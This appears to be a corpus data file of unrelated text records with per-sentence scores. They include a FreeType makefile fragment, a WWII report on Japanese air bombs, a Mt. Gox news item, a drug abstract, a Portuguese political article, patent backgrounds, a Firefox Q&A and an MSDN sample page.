-o $@ /FT/src/winfonts/winfnt.c\n\n#\n# FreeType2 library TrueTypeGX Validator\n#\ngxvalid.ppc.o: FT:src/gxvalid/gxvalid.c\n\t$(CC) -c $(CFLAGS) -Wno-aggregate-return -o $@ /FT/src/gxvalid/gxvalid.c\n\n#\n# FreeType2 library OpenType validator\n#\notvalid.ppc.o: FT:src/otvalid/otvalid.c\n\t$(CC) -c $(CFLAGS) -o $@ /FT/src/otvalid/otvalid.c\n\nBASE = ftbase.ppc.o ftbbox.ppc.o ftbdf.ppc.o ftbitmap.ppc.o ftcid.ppc.o \\\n ftfstype.ppc.o ftgasp.ppc.o ftglyph.ppc.o \\\n ftgxval.ppc.o ftmm.ppc.o ftotval.ppc.o \\\n ftpatent.ppc.o ftpfr.ppc.o ftstroke.ppc.o ftsynth.ppc.o \\\n fttype1.ppc.o ftwinfnt.ppc.o\n\nDEBUG = ftdebug.ppc.o ftdebugpure.ppc.o\n\nAFIT = autofit.ppc.o\n\nGXV = gxvalid.ppc.o\n\nOTV = otvalid.ppc.o\n\nPS = psaux.ppc.o psnames.ppc.o pshinter.ppc.o\n\nRASTER = raster.ppc.o smooth.ppc.o\n\nFONTD = cff.ppc.o type1.ppc.o type42.ppc.o type1cid.ppc.o truetype.ppc.o\\\n\tbdf.ppc.o pcf.ppc.o pfr.ppc.o winfnt.ppc.o\n\nlibft2_ppc.a: $(BASE) $(AFIT) $(GXV) $(OTV) $(PS) $(RASTER) sfnt.ppc.o ftcache.ppc.o $(FONTD) gzip.ppc.o lzw.ppc.o\n\t$(AR) r $@ $(BASE) $(AFIT) $(GXV) $(OTV) $(PS) $(RASTER) sfnt.ppc.o ftcache.ppc.o $(FONTD) gzip.ppc.o lzw.ppc.o\n\t$(RANLIB) $@\n\n#Local Variables:\n#coding: latin-1\n#End:\n" ]

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[ "[DISCLAIMER: The following text is taken from the U.S. War Department\npublication Tactical and Technical Trends. ", "As with all wartime\nintelligence information, data may be incomplete or inaccurate. ", "No\nattempt has been made to update or correct the text. ", "Any views or\nopinions expressed do not necessarily represent those of the website.]", "\n\nJAPANESE\nAIR BOMBS (ARMY AND NAVY)\n\nThere is no separate Japanese air force such as the RAF and Luftwaffe and\naerial operations are carried on by special departments of the Army and\nNavy. ", "There is, therefore, a very distinct difference between the aircraft, bombs,\nfuzes, etc., ", "produced by these two departments, both of which seem to have\ndeveloped quite independently. ", "Army aircraft are land-based entirely, whereas\nNavy aircraft are both carrier-based and land-based. ", "Bomb racks, release\nmechanisms and fuze arming devices are quite different.", "\n\nListed below are the main general distinctions between army and navy\ntypes of bombs and fuzes. ", "It is fully realized that these distinctions do not exist\nin all cases.", "\n\na. Body Construction\n\nArmy types have a screw-in nose-piece, and a tail unit welded to the main\nbody. ", "In naval types the tail cone is connected to the body by a separate internal\ninsert; the nose is located by rivets or a weld, while the tail-unit is affixed by set\nscrews; it is thus possible to remove the tail piece easily, by removing the set\nscrews but not the nose piece. ", "Suspension lugs are quite different because of the\ndifferent types of release mechanisms; the army type is rectangular and hinged,\nwhile the navy type is a fixed U-bolt.", "\n\nb. HE Fillings and Exploders\n\nThe general HE filling in army bombs is picric acid, contained in waxed\ncardboard containers and comprising three portions - nose, body, tail. ", "Each\nportion is a loose fit inside the bomb and is retained by wax. ", "The usual HE filling\nin navy bombs is hexanite and anisol mixture, or trinitroanisol, poured into the\ncasing; the tail cone filling - if present - is separate and divided from the main\nportion by a cardboard washer. ", "There are small standard army type boosters\nwhich initiate the main fillings, by means of an auxiliary picric acid booster. ", "No\nnavy standard type auxiliary boosters exist, the main fillings being initiated direct\nby a large standard booster screwed directly into the fuze base.", "\n\nc. Markings\n\nMarkings on bombs give an indication of the arsenals in which manufactured.", "\nSome arsenals, such as at Tokyo, Osaka, Nagoya, Sakai are military; others (e.g.\nat Kure) are naval. ", "Each arsenal has its characteristic Japanese inscription. ", "It\nis thus easily possible to find the type (i.e. service) of bomb by noting the arsenal\nof manufacture. ", "Naval munitions are usually marked with an anchor.", "\n\nd. Bomb Classification\nThe following is a list of Japanese army and navy aircraft bombs taken\nfrom a British official source. ", "It may be noted that bombs dropped on one area\nare normally of the same service. ", "In the Ceylon raids (carrier-based aircraft)\nnaval types were dropped." ]

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[ "Hours after Japan-based bitcoin exchange Mt. Gox suddenly halted trading activity, the company’s website is now completely offline. ", "Notably, the news follows other troubling signs that all is not right with the exchange, such as its sudden removal of its entire Twitter feed.", "\n\nBitcoincharts market section shows the last trade on Mt. Gox occurred at 01:59:06 UTC, which is 8:59 EST.", "\n\nWhen users logged into the bitcoin exchange’s website they were experiencing the following error message when trying to buy or sell bitcoins:\n\nNot long after the suspension in trading activity and subsequent outage, leaders within the digital currency space joined together in a bid to restore confidence in bitcoin and distance themselves from the embattled exchange.", "\n\nThe US-based hosted wallet Coinbase published the statement first, which later appeared on other websites connected with the messaging. ", "The post, titled “Joint Statement Regarding MtGox”, reads:\n\n“The purpose of this document is to summarize a joint statement to the Bitcoin community regarding Mt.Gox. ", "This tragic violation of the trust of users of Mt.Gox was the result of one company’s actions and does not reflect the resilience or value of bitcoin and the digital currency industry. ", "There are hundreds of trustworthy and responsible companies involved in bitcoin. ", "We are confident, however, that strong Bitcoin companies, led by highly competent teams and backed by credible investors, will continue to thrive, and to fulfill the promise that bitcoin offers as the future of payment in the Internet age. ", "In order to re-establish the trust squandered by the failings of Mt. Gox, responsible bitcoin exchanges are working together and are committed to the future of bitcoin and the security of all customer funds. ", "As part of the effort to re-assure customers, the following services will be coordinating efforts over the coming days to publicly reassure customers and the general public that all funds continue to be held in a safe and secure manner: Coinbase, Kraken, BitStamp, Circle, and BTC China. ", "We strongly believe in transparent, thoughtful, and comprehensive consumer protection measures. ", "We pledge to lead the way. ", "Bitcoin operators, whether they be exchanges, wallet services or payment providers, play a critical custodial role over the bitcoin they hold as assets for their customers. ", "Acting as a custodian should require a high-bar, including appropriate security safeguards that are independently audited and tested on a regular basis, adequate balance sheets and reserves as commercial entities, transparent and accountable customer disclosures, and clear policies to not use customer assets for proprietary trading or for margin loans in leveraged trading. ", "It does not appear to any of us that MtGox followed any these essential requirements as a financial services provider.”", "\n\nThe statement also names the following bitcoin industry veterans as supporting this position.", "\n\nFred Ehrsam — Co-founder of Coinbase\n\nJesse Powell — CEO of Kraken\n\nNejc Kodrič — CEO of Bitstamp.net\n\nBobby Lee — CEO of BTC China\n\nNicolas Cary — CEO of Blockchain.info\n\nJeremy Allaire — CEO of Circle\n\nThe outage of Mt. Gox and the subsequent joint release of this statement follows unconfirmed reports about the future of Mt. Gox’s viability as a bitcoin exchange.", "\n\nCoinDesk is monitoring this developing story, and will post updates as they become known." ]

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[ "Tedizolid: A New Oxazolidinone Antibiotic for Skin and Soft Tissue Infections.", "\nTo review the chemistry, pharmacology, microbiology, pharmacodynamics, pharmacokinetics, clinical efficacy, tolerability, drug interactions, dosing, and administration of tedizolid phosphate (TDZ). ", "A search of PubMed using the terms \"tedizolid,\" \"torezolid,\" \"TR-701,\" \"TR-700,\" \"DA-7157,\" and \"DA-7218\" was performed. ", "The manufacturer's Web site was also reviewed to further identify relevant information. ", "All English-language articles from 2006 to November 2014 appearing in these searches were reviewed for relevance to this paper. ", "In addition, their bibliographies were reviewed to identify any articles not uncovered in the searches. ", "TDZ is the second oxazolidinone antibiotic with a spectrum of activity targeted against gram-positive organisms including methicillin-resistant Staphylococcus aureus . ", "It is administered via intravenous infusion or orally without regard to food. ", "The primary route of elimination is fecal excretion. ", "Advanced age, hepatic dysfunction, or renal impairment does not alter its disposition. ", "Phase III clinical trials have demonstrated that TDZ 200 mg daily for 6 days is noninferior to linezolid 600 mg twice daily for 10 days in the treatment of adults with skin and soft tissue infections caused or suspected to be caused by gram-positive organisms. ", "TDZ has a side effect profile similar to that of linezolid and a lower potential for drug interactions. ", "TDZ has been shown to be safe and effective for the treatment of adults with skin and soft tissue infections. ", "Further research is needed to refine its role, particularly for the treatment of patients requiring a longer duration of therapy and in those receiving concomitant serotonergic agents." ]

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[ "Lula fez tráfico de influência em favor da OAS no exterior Em acordo de delação, Léo Pinheiro disse que, em contrapartida às obras no sítio em Atibaia e no tríplex do Guarujá, Lula ajudou a empreiteira fora do País. ", "Troca de favores começou quando o petista era presidente\n\nA disposição do juiz Sérgio Moro desde a semana passada, o arsenal de provas preparado por agentes federais e investigadores contra o ex-presidente Lula será robustecido em breve pelo que os procuradores da Lava Jato classificam de a “bala de prata” capaz de aniquilar o petista. ", "O tiro de misericórdia – a julgar pelo cardápio de revelações ofertado durante as tratativas para um acordo de delação premiada – será desferido pelo empresário Léo Pinheiro, um dos sócios do grupo OAS. ", "Conforme apurou ISTOÉ junto a integrantes da força-tarefa da operação Lava Jato em Curitiba, ao se dispor a desfiar com profusão de detalhes a maneira como se desenvolveram as negociações para as obras e reformas no sítio em Atibaia e no tríplex do Guarujá, tocadas pela OAS, Pinheiro já forneceu antecipadamente algumas das peças restantes do quebra-cabeças montado desde o surgimento das primeiras digitais de Lula no esquema do Petrolão.", "\n\nDiz respeito às contrapartidas aos favores prestados pela empreiteira ao ex-presidente. ", "De acordo com o relato preliminar de Pinheiro, em troca das obras no sítio e no tríplex do Guarujá, o petista se ofereceu para praticar tráfico de influência em favor da OAS no exterior. ", "A OAS acalentava o desejo de incrementar negócios com o Peru, Chile, Costa Rica, Bolívia, Uruguai e nações africanas. ", "Desenvolto no trânsito com esses países, Lula se prontificou a ajudá-los. ", "Negócio fechado, coube então ao petista escancarar-lhes as portas. ", "Ou, para ser mais preciso, os canteiros de obras. ", "Se até meados de 2008 a OAS engatinhava no mercado internacional, hoje a empresa possui 14 escritórios e toca 20 obras fora do País – boa parte delas conquistada graças às articulações do ex-presidente petista.", "\n\nTráfico de influência quando praticado por um agente público é crime. ", "Torna-se ainda mais grave quando em troca do auxílio são ofertados favores privados provenientes de uma empresa implicada num dos maiores escândalos de corrupção da história recente do País, o Petrolão. ", "As revelações de Pinheiro, segundo procuradores da Lava Jato, ferem Lula de morte. ", "O empreiteiro planeja deixar claro ainda que Lula é o real proprietário tanto do sítio em Atibaia quanto do tríplex no Guarujá. ", "Assim, o ex-presidente estará a um passo de ser formalmente acusado pelos crimes de ocultação de patrimônio, lavagem de dinheiro e tráfico de influência. ", "Um futuro julgamento, provavelmente conduzido pelo juiz Sergio Moro, poderá resultar em condenação superior a dez anos de reclusão.", "\n\nAinda durante as negociações para o acordo de delação premiada, Pinheiro prometeu detalhar o mal contado episódio do aluguel patrocinado pela OAS de 10 contêineres destinados a armazenar o acervo museológico do ex-presidente da República. ", "O que se sabia até agora era que a empreiteira havia gasto R$ 1,3 milhão para guardar os objetos retirados do Palácio do Planalto, do Palácio da Alvorada e da Granja do Torto durante a mudança do ex-presidente. ", "Parte dos itens ficou acondicionada em ambiente climatizado, em um depósito da transportadora Granero em Barueri, na região metropolitana de São Paulo. ", "O restante foi armazenado a seco, em outro balcão no Jaguaré, na capital paulista. ", "De lá, os itens foram transportados para o sítio em Atibaia. ", "Elaborado de forma dissimulada para escamotear o seu real beneficiário, o contrato celebrado pela OAS com a transportadora Granero ao custo R$ 21.536,84 por mês por cinco anos tratava da “armazenagem de materiais de escritório e mobiliário corporativo de propriedade da Construtora OAS Ltda”. ", "Segundo apurou ISTOÉ, além de, obviamente, confirmar mais um préstimo a Lula, Pinheiro já disse que as negociações ocorreram quando o petista ainda ocupava a Presidência da República, em dezembro de 2010.", "\n\nA se consumar o que foi esquadrinhado no acordo para a delação de Pinheiro, pela primeira vez será possível estabelecer que Lula cultivou uma relação assentada na troca de favores financeiros com a OAS quando ainda era o mandatário do País. ", "O depoimento desmontará o principal argumento utilizado por advogados ligados ao PT sempre quando confrontados com informações sobre a venda de influência política por Lula no exterior para empresas privadas nacionais: o de que não constitui ilícito o fato de um ex-servidor público viabilizar negócios de empresas privadas nacionais com governos estrangeiros. ", "No “toma lá, dá cá” entre o petista e a OAS, o “dá cá” ocorreu quando Lula encontrava-se no exercício de suas funções como presidente da República.", "\n\nO que o ex-presidente da OAS já antecipou aos procuradores é apenas um aperitivo. ", "O prato principal descerá ainda mais amargo para Lula e virá a partir dos depoimentos propriamente ditos. ", "Obviamente, não basta apenas o delator falar. ", "É necessário fornecer provas sobre os depoimentos, sem as quais o aspirante à delação premiada não se credencia para a diminuição da pena. ", "Quanto a isso, tudo está tranqüilo e favorável para o empreiteiro. ", "E desfavorável para Lula. ", "Pinheiro está fornido de documentos, asseguram os investigadores. ", "Promete entregar todos eles. ", "Dessa forma, mais uma tese de defesa do petista será demolida. ", "Ficará comprovado que tanto o sítio em Atibaia como o tríplex no Guarujá pertenceriam mesmo a Lula. ", "No papel, o sítio é de propriedade dos empresários Jonas Suassuna e Fernando Bittar, irmão de Kalil Bittar, sócio de Lulinha. ", "Na prática, era Lula e sua família quem usufruíam e ditavam as ordens no imóvel. ", "O enredo envolvendo o apartamento no Guarujá é mais intrincado, mas não menos comprometedor para família Lula da Silva. ", "Além de abundantes indicativos relacionando Lula ao tríplex, reunidos num processo pelo MP-SP, há uma imagem já tornada pública que registra um encontro do próprio Léo Pinheiro com Lula. ", "A foto, tirada do hall de acesso aos apartamentos, registra uma vistoria padrão de entrega de chaves, segundo depoimento prestado por Wellington Carneiro da Silva, à época o assistente de engenharia da OAS, responsável por fiscalizar as obras do Edifício Solaris. ", "No depoimento, ele disse que o imóvel estava em nome da OAS, mas sabia que a família a morar no apartamento seria a de Lula. ", "Pinheiro confirmará à força-tarefa da Lava Jato que o imóvel foi um regalo ao petista e que a pedido do ex-presidente assumiu obras da Bancoop, pois a cooperativa estava prestes a dar calote nos compradores dos apartamentos.", "\n\nNos últimos dias, Lula voltou a entoar como ladainha em procissão a fábula da superioridade moral. ", "Reiterou que “não há ninguém mais honesto” do que ele. ", "Como se vê no desenrolar das negociações para a delação, Pinheiro, simpatizante do PT e com quem Lula viveu uma relação de amizade simbiótica desde os tempos do sindicalismo, o fará descer do pedestal ético erguido por ele próprio com a contribuição dos seus fiéis seguidores. ", "O acordo ainda não está sacramentado, mas flui como mel. ", "Para os investigadores não pairam dúvidas: Pinheiro provará que Lula se beneficiou pessoalmente dos esquemas que fraudaram a Petrobras. ", "Os relatos e documentos apresentados pelo executivo, hoje um dos sócios da OAS, poderão reforçar uma das denúncias contra Lula que a Lava Jato pretende apresentar por crimes relacionados ao Petrolão. ", "Seriam pelo menos três. ", "Já haveria elementos comprobatórios, segundo investigadores, para implicar Lula por corrupção passiva e lavagem de dinheiro por favores recebidos não só da OAS como da Odebrecht. ", "Resta saber o momento em que as denúncias seriam apresentadas, uma vez que podem resultar numa condenação superior a dez anos de cadeia. ", "Há uma vertente da Lava Jato que prefere aguardar o desfecho da tramitação do impeachment da presidente Dilma Rousseff no Senado. ", "Seria uma maneira de evitar uma possível convulsão social no País, antes do desenlace do julgamento tido como crucial para os rumos políticos nacionais. ", "Outro grupo, por ora majoritário, não admite que o critério político prevaleça sobre o técnico. ", "Por isso, Lula anda insone, segundo interlocutores próximos.", "\n\nMensagens apreendidas no celular de Léo Pinheiro já evidenciavam a influência de Lula em favor da OAS fora do País, conforme revelou o empreiteiro nas tratativas para a delação. ", "Constam do relatório de cerca de 600 páginas encaminhados pela Polícia Federal à Procuradoria-Geral da República no início deste ano. ", "Nas mensagens, Pinheiro conversava com seus funcionários para decidir viagens do ex-presidente ao exterior e já mencionava a contribuição dele em obras fora do Brasil. ", "No capítulo “Brahma”, codinome cunhado pelo empresário para se referir a Lula, a PF listou pelo menos nove temas de interesse de Pinheiro que teriam sido abordados com o petista. ", "Entre eles estão programas no Peru, na Bolívia, no Chile, no Uruguai e na Costa Rica. ", "São citados numa mensagem encontrada pela PF o “Programa Peru x Apoio Empresarial Peruano e Empresas Brasileiras”, o “Apoio Mundo-África” e a “Proposta Mundo-Bolívia”. ", "Num torpedo de Jorge Fortes, diretor da OAS, para Leo Pinheiro, dias depois de a presidente da Costa Rica, Laura Chinchilla, ter anunciado o cancelamento da concessão outorgada à empreiteira para a construção de uma estrada avaliada em US$ 523,7 milhões, ele diz o seguinte: “Presidente Lula está preocupado porque soube que o Ministério Público vai entrar com uma representação por causa da Costa Rica”. ", "Num SMS para Pinheiro, em novembro de 2013, César Uzeda, executivo da OAS, diz que colocou um avião à disposição para Lula embarcar rumo ao Chile ao meio dia. “", "Seria bom você checar com Paulo Okamotto (presidente do Instituto Lula) se é conveniente irmos no mesmo avião”. ", "No mesmo conjunto de mensagens, o ex-presidente da OAS diz para um funcionário da empreiteira: “Lula está procurando saber sobre obras da OAS no Chile”. ", "Na delação, o empresário promete confirmar que as trocas de mensagens se referiam mesmo à atuação de Lula em favor da OAS no exterior.", "\n\nÀ Lava Jato interessa perscrutar os segredos mais recônditos de Lula. ", "E Léo Pinheiro possuía intimidade suficiente para isso. ", "O empreiteiro foi apresentado a Lula no início da década de 1980. ", "Quando o petista ingressou na política, o empreiteiro logo marcou presença como um dos principais doadores de campanha. ", "A ascensão de Lula ao Palácio do Planalto foi acompanhada da projeção da OAS no mercado interno. ", "Dono de acesso irrestrito aos gabinetes do poder, Pinheiro se referia a Lula como “chefe”. ", "A relação se deteriorou quando o empresário foi privado de sua liberdade. ", "O sócio da OAS apostava no prestígio de Lula para livrá-lo do radar da Lava Jato. ", "Ameaçado de morte num diálogo cifrado com um carcereiro no Complexo Médico-Penal de Curitiba, o empresário tomou a decisão de fazer do testemunho sua principal arma de defesa e trilha para salvação. ", "Sobrará para Lula.", "\n\nEx-ministros do PT também estão nas mãos de Moro\n\nO ministro Teori Zavascki, do Supremo Tribunal Federal (STF), também encaminhou semana passada para o juiz Sérgio Moro, de Curitiba, apurações envolvendo os ex-ministros Jaques Wagner (Chefia de Gabinete da Presidência), Ideli Salvatti (Direitos Humanos) e Edinho Silva (Comunicação Social) e o ex-presidente da Petrobras, José Sérgio Gabrielli. ", "Uma das investigações envolvendo Wagner surgiu de depoimento do ex-diretor da Petrobras, Nestor Cerveró, que em delação premiada apontou recebimento de propina na Petrobras junto com Gabrielli. ", "O material sobre Ideli Salvatti também é baseado na delação de Cerveró, que apontou que ela usou cargo no governo para renegociar uma dívida de R$ 90 milhões de uma transportadora de Santa Catarina com a BR Distribuidora, uma subsidiária da Petrobras. ", "Na delação, ele diz que “imagina que a ministra Ideli e outros políticos” receberam propina no negócio. ", "O caso de Edinho Silva é fundamentado na delação do ex-presidente da construtora UTC Ricardo Pessoa. ", "Aos investigadores, ele narrou encontro em que o ex-ministro teria pressionado por doações para a campanha da presidente afastada Dilma Rousseff nas eleições de 2014.", "\n\nVeja também" ]

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[ "The invention relates to a method and apparatus for the processing of hop vines, and more particularly to an automated processor that cuts bulk-harvested hop vines into manageable segments with a minimum of handling operations.", "\nRising farm labor costs and a decrease in available workers willing to perform traditionally low paying tasks has forced many growers to turn to automation. ", "Though often a significant capital investment, what were once labor intensive farming operations can sometime be supplemented or replaced by an automated process. ", "In the long term, these automations have the potential to increase profits and make domestic farming operations competitive with foreign farms, where labor is inexpensive and plentiful.", "\nIn the growing of hops, automation is difficult due to the nature of the hop vines. ", "These vines are grown in trellised xe2x80x9cyardsxe2x80x9d and harvested by cutting the vine away from the high wires of the trellis. ", "The cut vines are then brought into a processing facility and individually placed upon hooks. ", "The vines are stripped of cones and the cones are dried. ", "This conventional hop harvesting process requires laborers to both harvest the individual vines and place the vines on the hooks for further processing. ", "A method and apparatus are needed to reduce the labor required to harvest and process hops." ]

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[ "Q:\n\nGET Request is waiting before sent in firefox\n\nI'm working on a Node/Express webApp which take a lot of dependency client side.", "\nI was analyzing all the packet in the Network tab in firefox devtool and I saw something strange for me...\n\nWhy is firefox waiting every 6 request to send 6 new ?", "\nAll of theses request is pointing to the same server.", "\nCan I do something to this ?", "\nLike make all of them at the same time or it's out of my power ?", "\n\nA:\n\nCurrently the default number for maximum connections per host for Firefox (and Chrome for that matter) is 6.", "\nFor Firefox, this value can be changed by navigating to about:config and then changing the value for network.http.max-persistent-connections-per-server.", "\n\n" ]

{ "pile_set_name": "StackExchange" }

[ 0.0009454699466004968, 0.0006867651827633381, 0.0006475179106928408, 0.000819564622361213, 0.001107797957956791, 0.0006908221403136849, 0.0008732337155379355, 0.0019954426679760218 ]

[ "This was in prepartion for the Freedom Challenge Race Across South Africa which I completed in June 2014. ", "In May 2014, my wife Sue was diagnosed with breast cancer. ", "This blog will be tracking my effort and preparation to raise R100,000 for Breast Cancer by doing the Big Ride form Beit Bridge to Bloubergstrand for Breast Cancer, a distance of 3,500 kilometres, which I did in April 2016, raising R140,000. ", "I am also doing this in memory of my son who died in a cycling accident on 20/01/2015." ]

{ "pile_set_name": "Pile-CC" }

[ 0.0005583620513789356, 0.00836411863565445, 0.0007705691969022155, 0.0007716391119174659 ]

[ "Magnetic read head signal preamplifiers used in hard disk drives typically require fast recovery from electronic transients such as power switching, write to read switching, and thermal asperity. ", "If the preamplifier is unable to recover quickly from transients, then performance of the hard disk drive may be compromised. ", "Power switching occurs when the power is turned on or off. ", "Write to read switching occurs when the disk drive changes functions from writing to the hard disk to reading from the hard disk. ", "A transient such as thermal asperity occurs when a disk drive head hits the disk as the disk goes by. ", "The contact with the disk causes heat on the disk drive head and this heat may show up as a voltage. ", "A thermal asperity may generate a significant amount of energy and only a small fraction of that energy should be processed. ", "These examples of electronic transients typically produce signals that are undesirable to process. ", "If these electronic transients are processed, performance is typically reduced.", "\nFast recovery from electronic transients, such as power switching, write to read switching, and thermal asperity, is typically achieved via a complicated circuit performing complicated functions, such as dual peak detection and subtraction. ", "Conventional preamplifier circuits that provide fast recovery from transients typically require a substantially large number of components. ", "A large number of circuit devices potentially increase the risk of a device failure in addition to increasing the cost of the circuit.", "\nIt would be desirable to allow preamplifiers to quickly recover from electrical transients by integrating a simple circuit. ", "The present invention addresses such a need." ]

{ "pile_set_name": "USPTO Backgrounds" }

[ 0.0007389064994640648, 0.0006412125658243895, 0.000979201402515173, 0.0009630738059058785, 0.0010488759726285934, 0.0011659313458949327, 0.0005876081995666027, 0.0005893517518416047, 0.0005938097601756454, 0.0006649176357313991, 0.0005838233046233654, 0.0007155408966355026, 0.0005932745989412069, 0.000644684536382556 ]

[ "<!", "DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html>\n <head><link rel=\"stylesheet\" type=\"text/css\" href=\"description/Combined.css,0:sprite;/Areas/Epx/Themes/Windows/Content:0&amp;amp;hashKey=71AE1851B6C794DEF5BD9BC8F835D0EE\" xmlns=\"http://www.w3.org/1999/xhtml\" />\n<link rel=\"stylesheet\" type=\"text/css\" href=\"description/47c63455-7231-44b0-b4ee-e4560979780cCombined.css,0:sprite,1:LinkList;/Areas/Epx/Themes/Windows/Content:0,/Areas/Epx/Themes/Base/Content:1&amp;amp;hashKey=C91CC0BBB362C4840AF9553071016400\" xmlns=\"http://www.w3.org/1999/xhtml\" />\n\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n <title>SMS message send, receive, and SIM management sample (Windows 8)</title>\n <link href=\"description/Galleries.css\" type=\"text/css\" rel=\"Stylesheet\" /><link href=\"description/Layout.css\" type=\"text/css\" rel=\"Stylesheet\" /><link href=\"description/Brand.css\" type=\"text/css\" rel=\"Stylesheet\" /><link href=\"description/dc4f56b3-224a-4dd7-a435-210da682eb66Brand.css\" type=\"text/css\" rel=\"Stylesheet\" />\n <link href=\"description/iframedescription.css\" rel=\"Stylesheet\" type=\"text/css\" />\n <script src=\"description/offline.js\" type=\"text/javascript\"></script>\n <style type=\"text/css\">\n #projectInfo {\n overflow: auto;\n }\n #longDesc {\n clear:both;\n margin: 25px 0 10px 0;\n }\n\n #SampleIndexList{\n margin-left: 15px;\n }\n </style>\n </head>\n<body>\n <div id=\"offlineDescription\">\n <h1>SMS message send, receive, and SIM management sample (Windows 8)</h1>\n <br/>\n <div id=\"projectInfo\">\n <div class=\"section\">\n <div class=\"itemBarLong tagsContainer\">\n <label for=\"Technologies\">Technologies</label>\n <div id=\"Technologies\">\n Windows Runtime\n </div>\n </div>\n <div class=\"itemBarLong tagsContainer\">\n <label for=\"Topics\">Topics</label>\n <div id=\"Topics\">\n Devices and sensors\n </div>\n </div>\n <div class=\"itemBarLong\">\n <label for=\"Platforms\">Platforms</label>\n <div id=\"Platforms\">\n Windows RT\n </div>\n </div>\n <div class=\"itemBarLong\">\n <label for=\"Requirements\">Requirements</label>\n <div id=\"Requirements\">\n \n </div>\n </div>\n <div class=\"itemBar\">\n <label for=\"LastUpdated\">Primary Language</label>\n <div id=\"LastUpdated\">en-US</div>\n </div>\n <div class=\"itemBar\">\n <label for=\"LastUpdated\">Last Updated</label>\n <div id=\"LastUpdated\">6/27/2013</div>\n </div>\n <div class=\"itemBarLong\">\n <label for=\"License\">License</label>\n <div id=\"License\">\n <a href=\"license.rtf\">MS-LPL</a></div>\n </div>\n <div class=\"itemBar\">\n <div class=\"viewonlinecont\">\n <a data-link=\"online\" href=\"http://code.msdn.microsoft.com/windowsapps/SMS-message-send-receive-7faa9686\">View this sample online</a>\n </div>\n </div>\n </div>\n </div>\n \n \n<script type=\"text/javascript\">\n function initializePage() {\n var otherTabClass = 'otherTab';\n var hiddenPreClass = 'hidden';\n\n var htmlDecode = function(encodedData) {\n var decodedData = \"\";\n if (encodedData) {\n var div = document.createElement('div');\n div.innerHTML = encodedData;\n decodedData = div.firstChild.nodeValue.replace( /\\\\r\\\\n/ig , '\\r\\n');\n }\n return decodedData;\n };\n \n Galleries.iterateElem(Galleries.findElem(null, 'div', 'scriptcode'), function (index, scriptBlock) {\n var titleElem = Galleries.findElem(scriptBlock, 'div', 'title')[0];\n var labelElems = Galleries.findElem(titleElem, 'span');\n if (labelElems.length == 0) {\n labelElems = titleElem;\n }\n var languageSpans = Galleries.findElem(scriptBlock, 'span', 'hidden');\n var pres = Galleries.findElem(scriptBlock, 'pre');\n if (languageSpans.length > 0 && pres.length > 1) {\n Galleries.iterateElem(labelElems, function(index, elem) {\n var codePre = pres[index];\n var labelSpan = elem;\n var languageSpan = languageSpans[index];\n \n elem.code = codePre.innerHTML.replace( /(\\r(\\n)?)|((\\r)?\\n)/ig , '\\\\r\\\\n');\n \n codePre.className = codePre.className.replace(hiddenPreClass, '');\n \n languageSpan.parentNode.removeChild(languageSpan);\n });\n\n pres = Galleries.findElem(scriptBlock, 'pre');\n Galleries.iterateElem(labelElems, function(index, elem) {\n var codePre = pres[index];\n var labelSpan = elem;\n if (index == 0) {\n scriptBlock.activeTab = 0;\n }\n else {\n labelSpan.className += otherTabClass;\n codePre.className += hiddenPreClass;\n }\n Galleries.attachEventHandler(labelSpan, 'click', function(e) {\n var activeTab = scriptBlock.activeTab;\n labelElems[activeTab].className += otherTabClass;\n pres[activeTab].className += hiddenPreClass;\n\n codePre.className = codePre.className.replace(hiddenPreClass, '');\n labelSpan.className = labelSpan.className.replace(otherTabClass, '');\n scriptBlock.activeTab = index;\n });\n });\n\n var preview = Galleries.findElem(scriptBlock, 'div', 'preview');\n if (preview.length == 0) {\n preview.push(pres[pres.length - 1]);\n }\n Galleries.iterateElem(preview, function(index, elem) {\n elem.parentNode.removeChild(elem);\n });\n\n if (window.clipboardData && clipboardData.setData) {\n var copyLink = document.createElement('a');\n copyLink.href = 'javascript:void(0);';\n copyLink.className = 'copyCode';\n copyLink.innerHTML = 'Copy Code';\n Galleries.attachEventHandler(copyLink, 'click', function (e) {\n clipboardData.setData(\"Text\", htmlDecode(labelElems[scriptBlock.activeTab].code));\n return false;\n });\n scriptBlock.insertBefore(copyLink, scriptBlock.childNodes[0]);\n }\n }\n });\n }\n\n Galleries.onWindowLoad(function(){\n initializePage();\n });\n\n</script>\n<div id=\"longDesc\">\n \n<div id=\"mainSection\">\n<p>This sample shows how to use the Windows&nbsp;8 Mobile Broadband SMS API (<a href=\"http://msdn.microsoft.com/library/windows/apps/br206567\"><b>Windows.", "Devices.", "Sms</b></a>). ", "It demonstrates how to:\n</p>\n<ul>\n<li>Send a text message to a specified destination number. ", "</li><li>Receive a text SMS message. ", "</li><li>Send a binary SMS message (PDU format). ", "</li><li>Read a message from the Subscriber Identity Module (SIM). ", "</li><li>Delete a specified message from the SIM. ", "</li><li>Delete all messages from the SIM. ", "</li></ul>\n<p></p>\n<p>To obtain an evaluation copy of Windows&nbsp;8, go to <a href=\"http://go.microsoft.com/fwlink/p/?linkid=241655\">\nWindows&nbsp;8</a>.</p>\n<p>To obtain an evaluation copy of Microsoft Visual Studio&nbsp;2012, go to <a href=\"http://go.microsoft.com/fwlink/p/?linkid=241656\">\nVisual Studio&nbsp;2012</a>.</p>\n<h3><a id=\"related_topics\"></a>Related topics</h3>\n<dl><dt><a href=\"http://msdn.microsoft.com/library/windows/apps/br206502\"><b>SmsBinaryMessage</b></a>\n</dt><dt><a href=\"http://msdn.microsoft.com/library/windows/apps/br206511\"><b>SmsDevice</b></a>\n</dt><dt><a href=\"http://msdn.microsoft.com/library/windows/apps/br206539\"><b>SmsMessageReceivedEventArgs</b></a>\n</dt><dt><a href=\"http://msdn.microsoft.com/library/windows/apps/br206550\"><b>SmsTextMessage</b></a>\n</dt><dt><a href=\"http://go.microsoft.com/fwlink/p/?LinkID=227694\">Windows 8 app samples</a>\n</dt></dl>\n<h3>Related technologies</h3>\n<a href=\"http://msdn.microsoft.com/library/windows/apps/br206567\"><b>Windows.", "Devices.", "Sms</b></a>\n<h3>Operating system requirements</h3>\n<table>\n<tbody>\n<tr>\n<th>Client</th>\n<td><dt>Windows&nbsp;8 </dt></td>\n</tr>\n<tr>\n<th>Server</th>\n<td><dt>Windows Server&nbsp;2012 </dt></td>\n</tr>\n</tbody>\n</table>\n<h3>Build the 